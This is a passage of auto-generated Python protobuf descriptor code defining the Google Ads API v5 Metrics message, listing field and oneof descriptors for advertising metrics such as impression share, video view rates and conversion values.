serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_budget_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_budget_lost_top_impression_share', index=91,
number=139, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_click_share', full_name='google.ads.googleads.v5.common.Metrics.search_click_share', index=92,
number=140, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_exact_match_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_exact_match_impression_share', index=93,
number=141, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_impression_share', index=94,
number=142, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_rank_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_rank_lost_absolute_top_impression_share', index=95,
number=143, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_rank_lost_impression_share', index=96,
number=144, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_rank_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_rank_lost_top_impression_share', index=97,
number=145, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='search_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics.search_top_impression_share', index=98,
number=146, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='speed_score', full_name='google.ads.googleads.v5.common.Metrics.speed_score', index=99,
number=147, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics.top_impression_percentage', index=100,
number=148, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='valid_accelerated_mobile_pages_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics.valid_accelerated_mobile_pages_clicks_percentage', index=101,
number=149, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics.value_per_all_conversions', index=102,
number=150, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value_per_conversion', full_name='google.ads.googleads.v5.common.Metrics.value_per_conversion', index=103,
number=151, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='value_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics.value_per_current_model_attributed_conversion', index=104,
number=152, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_quartile_p100_rate', full_name='google.ads.googleads.v5.common.Metrics.video_quartile_p100_rate', index=105,
number=132, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_quartile_p25_rate', full_name='google.ads.googleads.v5.common.Metrics.video_quartile_p25_rate', index=106,
number=133, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_quartile_p50_rate', full_name='google.ads.googleads.v5.common.Metrics.video_quartile_p50_rate', index=107,
number=134, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_quartile_p75_rate', full_name='google.ads.googleads.v5.common.Metrics.video_quartile_p75_rate', index=108,
number=135, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_view_rate', full_name='google.ads.googleads.v5.common.Metrics.video_view_rate', index=109,
number=153, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='video_views', full_name='google.ads.googleads.v5.common.Metrics.video_views', index=110,
number=154, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='view_through_conversions', full_name='google.ads.googleads.v5.common.Metrics.view_through_conversions', index=111,
number=155, type=3, cpp_type=2, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='_absolute_top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics._absolute_top_impression_percentage',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_cpm', full_name='google.ads.googleads.v5.common.Metrics._active_view_cpm',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_ctr', full_name='google.ads.googleads.v5.common.Metrics._active_view_ctr',
index=2, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_impressions', full_name='google.ads.googleads.v5.common.Metrics._active_view_impressions',
index=3, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_measurability', full_name='google.ads.googleads.v5.common.Metrics._active_view_measurability',
index=4, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_measurable_cost_micros', full_name='google.ads.googleads.v5.common.Metrics._active_view_measurable_cost_micros',
index=5, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_measurable_impressions', full_name='google.ads.googleads.v5.common.Metrics._active_view_measurable_impressions',
index=6, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_active_view_viewability', full_name='google.ads.googleads.v5.common.Metrics._active_view_viewability',
index=7, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_interactions_rate',
index=8, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_value', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_value',
index=9, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions', full_name='google.ads.googleads.v5.common.Metrics._all_conversions',
index=10, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_value_per_cost',
index=11, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_click_to_call', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_click_to_call',
index=12, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_directions', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_directions',
index=13, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_interactions_value_per_interaction',
index=14, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_menu', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_menu',
index=15, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_order', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_order',
index=16, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_other_engagement', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_other_engagement',
index=17, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_store_visit', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_store_visit',
index=18, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_all_conversions_from_store_website', full_name='google.ads.googleads.v5.common.Metrics._all_conversions_from_store_website',
index=19, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_cost', full_name='google.ads.googleads.v5.common.Metrics._average_cost',
index=20, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_cpc', full_name='google.ads.googleads.v5.common.Metrics._average_cpc',
index=21, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_cpe', full_name='google.ads.googleads.v5.common.Metrics._average_cpe',
index=22, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_cpm', full_name='google.ads.googleads.v5.common.Metrics._average_cpm',
index=23, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_cpv', full_name='google.ads.googleads.v5.common.Metrics._average_cpv',
index=24, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_page_views', full_name='google.ads.googleads.v5.common.Metrics._average_page_views',
index=25, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_average_time_on_site', full_name='google.ads.googleads.v5.common.Metrics._average_time_on_site',
index=26, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_benchmark_average_max_cpc', full_name='google.ads.googleads.v5.common.Metrics._benchmark_average_max_cpc',
index=27, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_benchmark_ctr', full_name='google.ads.googleads.v5.common.Metrics._benchmark_ctr',
index=28, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_bounce_rate', full_name='google.ads.googleads.v5.common.Metrics._bounce_rate',
index=29, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_clicks', full_name='google.ads.googleads.v5.common.Metrics._clicks',
index=30, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_combined_clicks', full_name='google.ads.googleads.v5.common.Metrics._combined_clicks',
index=31, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_combined_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics._combined_clicks_per_query',
index=32, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_combined_queries', full_name='google.ads.googleads.v5.common.Metrics._combined_queries',
index=33, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_content_budget_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._content_budget_lost_impression_share',
index=34, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_content_impression_share', full_name='google.ads.googleads.v5.common.Metrics._content_impression_share',
index=35, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversion_last_received_request_date_time', full_name='google.ads.googleads.v5.common.Metrics._conversion_last_received_request_date_time',
index=36, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversion_last_conversion_date', full_name='google.ads.googleads.v5.common.Metrics._conversion_last_conversion_date',
index=37, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_content_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._content_rank_lost_impression_share',
index=38, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics._conversions_from_interactions_rate',
index=39, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversions_value', full_name='google.ads.googleads.v5.common.Metrics._conversions_value',
index=40, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics._conversions_value_per_cost',
index=41, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics._conversions_from_interactions_value_per_interaction',
index=42, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_conversions', full_name='google.ads.googleads.v5.common.Metrics._conversions',
index=43, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_cost_micros', full_name='google.ads.googleads.v5.common.Metrics._cost_micros',
index=44, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_cost_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics._cost_per_all_conversions',
index=45, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_cost_per_conversion', full_name='google.ads.googleads.v5.common.Metrics._cost_per_conversion',
index=46, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_cost_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics._cost_per_current_model_attributed_conversion',
index=47, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_cross_device_conversions', full_name='google.ads.googleads.v5.common.Metrics._cross_device_conversions',
index=48, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_ctr', full_name='google.ads.googleads.v5.common.Metrics._ctr',
index=49, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_current_model_attributed_conversions', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions',
index=50, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_current_model_attributed_conversions_from_interactions_rate', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_from_interactions_rate',
index=51, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_current_model_attributed_conversions_from_interactions_value_per_interaction', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_from_interactions_value_per_interaction',
index=52, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_current_model_attributed_conversions_value', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_value',
index=53, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_current_model_attributed_conversions_value_per_cost', full_name='google.ads.googleads.v5.common.Metrics._current_model_attributed_conversions_value_per_cost',
index=54, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_engagement_rate', full_name='google.ads.googleads.v5.common.Metrics._engagement_rate',
index=55, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_engagements', full_name='google.ads.googleads.v5.common.Metrics._engagements',
index=56, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_hotel_average_lead_value_micros', full_name='google.ads.googleads.v5.common.Metrics._hotel_average_lead_value_micros',
index=57, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_hotel_price_difference_percentage', full_name='google.ads.googleads.v5.common.Metrics._hotel_price_difference_percentage',
index=58, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_hotel_eligible_impressions', full_name='google.ads.googleads.v5.common.Metrics._hotel_eligible_impressions',
index=59, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_historical_quality_score', full_name='google.ads.googleads.v5.common.Metrics._historical_quality_score',
index=60, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_gmail_forwards', full_name='google.ads.googleads.v5.common.Metrics._gmail_forwards',
index=61, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_gmail_saves', full_name='google.ads.googleads.v5.common.Metrics._gmail_saves',
index=62, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_gmail_secondary_clicks', full_name='google.ads.googleads.v5.common.Metrics._gmail_secondary_clicks',
index=63, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_impressions_from_store_reach', full_name='google.ads.googleads.v5.common.Metrics._impressions_from_store_reach',
index=64, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_impressions', full_name='google.ads.googleads.v5.common.Metrics._impressions',
index=65, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_interaction_rate', full_name='google.ads.googleads.v5.common.Metrics._interaction_rate',
index=66, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_interactions', full_name='google.ads.googleads.v5.common.Metrics._interactions',
index=67, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_invalid_click_rate', full_name='google.ads.googleads.v5.common.Metrics._invalid_click_rate',
index=68, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_invalid_clicks', full_name='google.ads.googleads.v5.common.Metrics._invalid_clicks',
index=69, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_message_chats', full_name='google.ads.googleads.v5.common.Metrics._message_chats',
index=70, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_message_impressions', full_name='google.ads.googleads.v5.common.Metrics._message_impressions',
index=71, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_message_chat_rate', full_name='google.ads.googleads.v5.common.Metrics._message_chat_rate',
index=72, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_mobile_friendly_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics._mobile_friendly_clicks_percentage',
index=73, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_organic_clicks', full_name='google.ads.googleads.v5.common.Metrics._organic_clicks',
index=74, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_organic_clicks_per_query', full_name='google.ads.googleads.v5.common.Metrics._organic_clicks_per_query',
index=75, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_organic_impressions', full_name='google.ads.googleads.v5.common.Metrics._organic_impressions',
index=76, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_organic_impressions_per_query', full_name='google.ads.googleads.v5.common.Metrics._organic_impressions_per_query',
index=77, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_organic_queries', full_name='google.ads.googleads.v5.common.Metrics._organic_queries',
index=78, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_percent_new_visitors', full_name='google.ads.googleads.v5.common.Metrics._percent_new_visitors',
index=79, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_phone_calls', full_name='google.ads.googleads.v5.common.Metrics._phone_calls',
index=80, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_phone_impressions', full_name='google.ads.googleads.v5.common.Metrics._phone_impressions',
index=81, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_phone_through_rate', full_name='google.ads.googleads.v5.common.Metrics._phone_through_rate',
index=82, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_relative_ctr', full_name='google.ads.googleads.v5.common.Metrics._relative_ctr',
index=83, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_absolute_top_impression_share',
index=84, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_budget_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_absolute_top_impression_share',
index=85, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_budget_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_impression_share',
index=86, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_budget_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_budget_lost_top_impression_share',
index=87, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_click_share', full_name='google.ads.googleads.v5.common.Metrics._search_click_share',
index=88, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_exact_match_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_exact_match_impression_share',
index=89, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_impression_share',
index=90, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_rank_lost_absolute_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_absolute_top_impression_share',
index=91, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_rank_lost_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_impression_share',
index=92, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_rank_lost_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_rank_lost_top_impression_share',
index=93, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_search_top_impression_share', full_name='google.ads.googleads.v5.common.Metrics._search_top_impression_share',
index=94, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_speed_score', full_name='google.ads.googleads.v5.common.Metrics._speed_score',
index=95, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_top_impression_percentage', full_name='google.ads.googleads.v5.common.Metrics._top_impression_percentage',
index=96, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_valid_accelerated_mobile_pages_clicks_percentage', full_name='google.ads.googleads.v5.common.Metrics._valid_accelerated_mobile_pages_clicks_percentage',
index=97, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_value_per_all_conversions', full_name='google.ads.googleads.v5.common.Metrics._value_per_all_conversions',
index=98, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_value_per_conversion', full_name='google.ads.googleads.v5.common.Metrics._value_per_conversion',
index=99, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_value_per_current_model_attributed_conversion', full_name='google.ads.googleads.v5.common.Metrics._value_per_current_model_attributed_conversion',
index=100, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_quartile_p100_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p100_rate',
index=101, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_quartile_p25_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p25_rate',
index=102, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_quartile_p50_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p50_rate',
index=103, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_quartile_p75_rate', full_name='google.ads.googleads.v5.common.Metrics._video_quartile_p75_rate',
index=104, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_view_rate', full_name='google.ads.googleads.v5.common.Metrics._video_view_rate',
index=105, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_video_views', full_name='google.ads.googleads.v5.common.Metrics._video_views',
index=106, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='_view_through_conversions', full_name='google.ads.googleads.v5.common.Metrics._view_through_conversions',
index=107, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=247,
serialized_end=8432,
)
_METRICS.fields_by_name['historical_creative_quality_score'].enum_type = google_dot_ads_dot_googleads__v5_dot_proto_dot_enums_dot_quality__score__bucket__pb2._QUALITYSCOREBUCKETENUM_QUALITYSCOREBUCKET
